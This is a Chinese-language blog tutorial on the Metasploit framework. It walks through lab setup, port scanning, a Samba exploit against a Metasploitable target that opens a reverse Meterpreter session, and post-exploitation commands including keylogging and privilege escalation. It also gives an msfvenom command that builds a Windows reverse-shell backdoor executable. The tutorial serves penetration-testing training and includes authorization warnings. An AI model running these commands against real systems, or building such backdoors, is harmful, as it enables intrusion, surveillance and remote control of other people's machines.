杰瑞科技汇

Metasploit教程怎么学?入门到精通要多久?

Metasploit 终极教程:从入门到实战

目录

  1. 第一部分:Metasploit 简介

    Metasploit教程怎么学?入门到精通要多久?-图1
    (图片来源网络,侵删)
    • 什么是 Metasploit?
    • 为什么学习 Metasploit?(重要性)
    • Metasploit 的核心架构
  2. 第二部分:环境准备

    • 安装 Metasploit Framework
    • 配置虚拟化环境(Kali Linux & 靶机)
    • 网络设置
  3. 第三部分:Metasploit 核心概念与界面

    • 启动 Metasploit (msfconsole)
    • 核心组件:模块、载荷、会话
    • 基本命令速查
  4. 第四部分:实战演练:信息收集与漏洞利用

    • 信息收集
      • 使用 auxiliary 模块扫描服务
    • 漏洞利用
      • 步骤 1:搜索合适的 exploit
      • 步骤 2:配置模块参数 (set)
      • 步骤 3:选择并配置载荷 (set payload)
      • 步骤 4:发起攻击 (runexploit)
      • 步骤 5:获取并维持访问权
  5. 第五部分:后渗透与权限提升

    Metasploit教程怎么学?入门到精通要多久?-图2
    (图片来源网络,侵删)
    • Meterpreter 基础命令
    • 权限提升技术
    • 数据收集与持久化
  6. 第六部分:高级技巧与最佳实践

    • 使用 Armitage(图形化界面)
    • 编写和自定义模块
    • 编写报告 (msfvenom)
    • 最重要的原则:道德与法律

第一部分:Metasploit 简介

1 什么是 Metasploit?

Metasploit 是一个开源的漏洞利用框架,它本身不包含漏洞,而是一个平台,集成了大量的漏洞利用代码载荷辅助工具(如扫描器、嗅探器)和编码器

你可以把它想象成一个“漏洞开发工具箱”或“漏洞利用的瑞士军刀”,安全研究人员、渗透测试员和红队用它来测试系统安全性,而攻击者也可能滥用它。

2 为什么学习 Metasploit?

  • 行业标准:它是渗透测试领域最广泛使用的工具之一,是安全从业者的必备技能。
  • 功能强大:集成了从信息收集、漏洞利用、后渗透到权限提升的全流程功能。
  • 高度可扩展:用户可以使用 Ruby 语言编写自己的模块,使其功能无限扩展。
  • 学习价值:通过使用 Metasploit,你能深入理解各种漏洞的原理和利用方式。

3 Metasploit 的核心架构

理解其架构有助于你更好地使用它:

  • Module (模块):Metasploit 的核心功能单元,主要分为三类:

    • Exploit (利用模块):用于攻击特定漏洞,目标是获取一个初始访问权限。exploit/windows/smb/ms17_010_eternalblue 就是利用著名的“永恒之蓝”漏洞。
    • Payload (载荷模块):成功利用漏洞后,在目标系统上执行的代码,它负责建立与攻击者的连接,为后续操作提供通道。
    • Auxiliary (辅助模块):不直接用于获取访问权限,而是辅助攻击,端口扫描、暴力破解、服务指纹识别等。
  • Payload Stager (载荷分段器):由于目标环境限制(如数据大小限制),载荷常被分为两部分,第一部分(Stager)负责在目标上建立一个稳定连接,然后下载并执行第二部分(Stage),后者功能更完整。

  • Session (会话):成功利用漏洞后,Metasploit 与目标系统之间建立的交互式连接,常见的会话类型有 meterpretershell 等。


第二部分:环境准备

警告:所有测试必须在授权的环境下进行!未经授权的测试是违法的。

我们推荐使用 Kali Linux 作为攻击机,因为它预装了 Metasploit,准备一些专门用于练习的靶机。

  • 攻击机:安装 Kali Linux 的虚拟机或物理机。
  • 靶机
    • Metasploitable2:一个故意设计得充满漏洞的 Linux 靶机,非常适合新手。
    • Metasploitable3:功能更强大的新版本。
    • VulnHub:一个提供大量免费靶机下载的网站。

网络设置:确保攻击机和靶机在同一个局域网内,并且可以互相通信。


第三部分:Metasploit 核心概念与界面

1 启动 Metasploit

打开 Kali Linux 的终端,输入:

msfconsole

你会看到一个类似下面这样的界面,这表示 Metasploit 已经成功启动。

                               _
                              |_ _|
      .---.   .--.   .---.   .--.   .--.   .---.   .---.
     /  O  \ /    \ /  O  \ /  `.'   / /  O  \ /  O  \
    |  _  ' |  .  ' |  _  ' |  |`'  / |  _  ' |  _  '
    |  |  | |  |  | |  |  | |  |  '  | |  |  | |  |  |
    `--'  ` `--'  ` `--'  ` `--'   `--' `--'  ` `--'  `
       =[ metasploit v6.1.44-dev                          ]
+ -- --=[ 2128 exploits - 1158 auxiliary - 383 post     ]
+ -- --=[ 609 payloads - 44 encoders - 10 nops           ]
+ -- --=[ 7 evasion                                       ]
Metasploit tip: To see all the options for a module, type 'options'
msf6 >

2 核心组件回顾

  • Exploit: 攻击漏洞。
  • Payload: 攻击成功后在目标上执行的代码。
  • Session: 攻击成功后建立的连接。

3 基本命令速查

msfconsole 中,你可以使用以下命令:

命令 描述 示例
help 显示帮助信息 help
search <keyword> 搜索模块 search apache
use <module_path> 使用一个模块 use exploit/multi/handler
info 显示当前模块的详细信息 info
show options 显示当前模块需要配置的选项 show options
show targets 显示该模块支持的目标系统类型 show targets
set <option> <value> 设置模块的参数 set RHOSTS 192.168.1.101
setg <option> <value> 全局设置参数,之后加载的模块也会继承 setg RHOSTS 192.168.1.0/24
unset <option> 取消设置一个参数 unset RHOSTS
runexploit 执行当前模块 run
back 返回上一级模块 back
sessions 列出所有活动的会话 sessions
sessions -l 列出所有活动的会话(详细版) sessions -l
sessions -i <id> 与指定 ID 的会话进行交互 sessions -i 1
exit 退出 msfconsole exit

第四部分:实战演练

信息收集

假设我们的靶机 IP 是 168.1.101,我们先来扫描一下它的开放端口和服务。

  1. 搜索扫描模块

    msf6 > search portscan
  2. 使用一个 TCP 端口扫描模块

    msf6 > use auxiliary/scanner/portscan/tcp
    msf6 auxiliary(scanner/portscan/tcp) > show options
  3. 配置参数

    • RHOSTS: 目标主机的 IP 地址或 IP 范围。
    • PORTS: 要扫描的端口,默认是 1-1000。
      msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.101
      msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-65535
  4. 执行扫描

    msf6 auxiliary(scanner/portscan/tcp) > run

    扫描完成后,你会看到类似这样的输出,显示了靶机开放的端口和服务:

    [+] 192.168.1.101:21 - TCP - Open
    [+] 192.168.1.101:22 - TCP - Open
    [+] 192.168.1.101:23 - TCP - Open
    [+] 192.168.1.101:139 - TCP - Open
    [+] 192.168.1.101:445 - TCP - Open
    [+] 192.168.1.101:512 - TCP - Open
    [+] 192.168.1.101:513 - TCP - Open
    [+] 192.168.1.101:514 - TCP - Open
    [+] 192.168.1.101:1524 - TCP - Open
    [+] 192.168.1.101:3306 - TCP - Open
    [+] 192.168.1.101:5432 - TCP - Open
    [+] 192.168.1.101:6000 - TCP - Open
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

    我们发现靶机开放了 21 (FTP), 22 (SSH), 23 (Telnet), 3306 (MySQL), 5432 (PostgreSQL) 等服务,这些都是潜在的攻击点。

漏洞利用

假设我们发现靶机运行着一个有漏洞的 Samba 服务(端口 445),我们来寻找相关的漏洞。

  1. 搜索 Samba 相关的漏洞

    msf6 > search samba

    你会看到一个名为 exploit/linux/samba/is_known_pipename 的模块,这是一个经典的漏洞。

  2. 使用该 exploit 模块

    msf6 > use exploit/linux/samba/is_known_pipename
    msf6 exploit(linux/samba/is_known_pipename) > show options
  3. 配置 exploit 参数

    • RHOSTS: 目标 IP。
      msf6 exploit(linux/samba/is_known_pipename) > set RHOSTS 192.168.1.101
  4. 选择并配置 Payload

    • infoshow options 中,你会看到一个 Payload 选项,这是必须设置的。
    • 我们选择一个通用的反向 shell 载荷,这样靶机会主动连接回我们的攻击机。
      msf6 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/reverse_tcp
    • 设置 Payload 的参数,对于反向 TCP,我们需要告诉靶机连接到哪个 IP 和端口。
    • LHOST: 攻击机的 IP 地址(靶机要连接回来的地址)。
    • LPORT: 监听的端口。
      msf6 exploit(linux/samba/is_known_pipename) > set LHOST 192.168.1.100  # 这是你的 Kali Linux 的 IP
      msf6 exploit(linux/samba/is_known_pipename) > set LPORT 4444
  5. 发起攻击

    msf6 exploit(linux/samba/is_known_pipename) > run

    如果成功,你会看到攻击的输出,并最终获得一个 Meterpreter 会话:

    [*] Started reverse TCP handler on 192.168.1.100:4444 
    [*] 192.168.1.101:445 - Attempting to exploit...
    [*] 192.168.1.101:445 - Sending stage (3010240 bytes)
    [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:44718) at 2025-10-27 10:30:00 +0000
    meterpreter >

    恭喜!你已经成功入侵了靶机。


第五部分:后渗透与权限提升

现在你有了 meterpreter > 提示符,你可以对靶机进行各种操作。

1 Meterpreter 基础命令

命令 描述
sysinfo 查看目标系统信息(操作系统、架构等)
getuid 获取当前用户权限
ps 列出目标系统运行的进程
getpid 获取当前 Meterpreter 会话所在的进程 ID
migrate <pid> 将会话迁移到另一个进程中,有助于隐藏和稳定
shell 在目标系统上获取一个命令行 shell
upload <local_file> <remote_path> 上传文件到目标系统
download <remote_file> <local_path> 从目标系统下载文件
search -f <filename> 在目标系统上搜索文件
keyscan_start / keyscan_stop / keyscan_dump 开始/停止/转储键盘记录

示例:

meterpreter > sysinfo
Computer        : metasploitable.local
OS              : Linux 2.6.24-16-generic
Architecture    : x64
Meterpreter     : linux/x64
meterpreter > getuid
Server username: root

太棒了,我们直接获得了 root 权限!在真实场景中,你可能需要手动进行权限提升。

2 权限提升

getuid 显示你是一个普通用户(如 uid=1000, gid=1000),你可以使用 Metasploit 的 post 模块来尝试提权。

meterpreter > background  # 将会话放到后台
msf6 exploit(linux/samba/is_known_pipename) > search post/multi/recon/local_exploit_suggester
msf6 exploit(linux/samba/is_known_pipename) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1  # 指定要分析哪个会话
msf6 post(multi/recon/local_exploit_suggester) > run

这个模块会分析目标系统,并建议可能可用的本地提权漏洞,然后你可以使用相应的 exploit 来获取 root 权限。


第六部分:高级技巧与最佳实践

1 使用 Armitage (图形化界面)

如果你不喜欢命令行,可以使用 Armitage,它是一个 Metasploit 的图形化前端,提供了可视化的攻击路径、自动化任务和交互式会话管理。

在 Kali 中直接在终端输入 armitage 即可启动。

2 编写和自定义模块

Metasploit 的强大之处在于其可扩展性,所有模块都是用 Ruby 编写的,你可以阅读现有模块的源码,然后根据自己的需求进行修改或编写全新的模块,源码通常位于 /usr/share/metasploit-framework/modules/ 目录下。

3 编写报告与生成后门 (msfvenom)

msfvenom 是 Metasploit 的ayload 编译工具,它可以将各种 payload 和编码器结合,生成独立的可执行文件、脚本等。

基本语法:

msfvenom -p <payload> <options> -f <format> -o <output_file>

示例:生成一个 Windows 的反向 Meterpreter 后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/backdoor.exe

这个生成的 backdoor.exe 就是一个木马程序,你可以在目标机上运行它来获得一个 Meterpreter 会话。

4 最重要的原则:道德与法律

  • 授权是前提:永远不要在未经明确书面授权的情况下对任何系统进行 Metasploit 测试。
  • 负责任地披露:如果你在测试中发现了漏洞,应遵循负责任的披露原则,通知相关方,而不是直接公开或利用。
  • 学习目的:将 Metaspilot 用于提升自己的技能和保护自己的系统,而不是用于非法活动。

这份教程为你提供了一个 Metasploit 的完整学习路径,从了解其架构,到配置环境,再到执行信息收集、漏洞利用和后渗透操作,最后还介绍了高级技巧。

Metasploit 是一个极其强大的工具,熟练掌握它需要大量的练习,建议你多在 VulnHub 上下载不同的靶机,不断尝试和复现各种漏洞,这是最快的学习方式,祝你学习愉快!

分享:
扫描分享到社交APP
上一篇
下一篇